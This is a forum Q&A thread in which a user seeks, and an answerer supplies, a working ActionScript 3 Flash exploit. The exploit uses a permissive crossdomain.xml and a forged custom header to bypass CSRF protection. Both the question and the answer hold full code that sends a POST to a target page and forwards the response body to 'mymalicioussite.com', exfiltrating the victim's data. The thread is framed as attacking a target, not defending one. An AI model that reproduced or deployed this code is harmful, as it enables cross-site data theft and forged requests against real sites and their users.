CSRF Bypass using ActionScript via weak CrossDomain.xml - actionscript

Question

I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.
This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
CrossDomain.XML on the target:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
Any help would be appreciated.
A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.

Answer 1

After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):
Also, This works only if the target and attacking machine should have following crossdomain.xml:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
And here is the AS3 script that worked for me:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Set Header
var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];
//Target URL
var readFrom:String = "http://192.168.253.133/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.requestHeaders = headers;
readRequest.data = "ThisDoesNotMatter" //POST data
readRequest.method = URLRequestMethod.POST
//readRequest.requestHeaders.push();
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}//package